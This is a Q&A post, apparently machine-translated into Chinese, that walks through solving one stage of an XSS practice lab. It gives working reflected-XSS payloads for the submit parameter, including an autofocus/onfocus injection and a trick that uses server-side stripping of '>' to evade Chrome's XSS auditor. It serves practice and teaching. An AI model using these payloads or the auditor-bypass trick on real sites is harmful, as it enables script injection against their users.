绕过 XSS 过滤器

Bypass XSS filter

如何绕过 XSS 过滤器并在此页面上弹出警报:

http://leettime.net/xsslab1/stage--08.php

该脚本似乎在服务器端过滤单引号 ('),使我无法注入值字段。

<input type="text" name="name" value=''></input>

此页面是 XSS 测试系列的一部分,因此我确信可以以某种方式弹出警报,但我只是不知道如何。

我错了。可以注入额外的表单字段来完成任务。

输入名称并点击提交。该表单是通过 GET 请求提交的,因此您可以在 URL 中看到这两个参数。两者都反映在 HTML 响应中。

名字=海绵宝宝&提交=

<font size=3>Enter Your Name here : <input type="text" name="name" value='spongebob'></input>
<input type="submit" name="submit" value="">

关注提交 而不是名称参数。它包含在未过滤的双引号中。因为字符 > 已被删除,所以无法关闭标签,因此必须在标签内部进行注入。 > 被剥离:

name=spongebob&submit=%22%3E%3Cscript%3Ealert(document.URL)%3C/script%3E

<input type="submit" name="submit" value=""<scriptalert(document.URL)</script">

可以通过结合 onfocus 和 autofocus 自动 运行 javascript。

name=spongebob&submit=%22%20autofocus%20onfocus=%22alert(document.URL)

<input type="submit" name="submit" value="" autofocus onfocus="(document.URL)">

这是一个有效的 XSS,它会在 Firefox 中自动 运行 但在 Chrome 中不会,因为 Chrome 的 XSS 审核员会检测到它是一个反射 XSS。

Chrome XSS auditor reports that 'Token contains a reflecte XSS vector'

因此,让我们使用“>”的服务器端过滤来发挥我们的优势,这样 Chrome 就无法检测到提交参数反映到 HTML。

name=spongebob&submit="%20auto>focus%20onf>ocus="alert(doc>ument.URL)

Chrome XSS auditor bypassed using because of server side filtering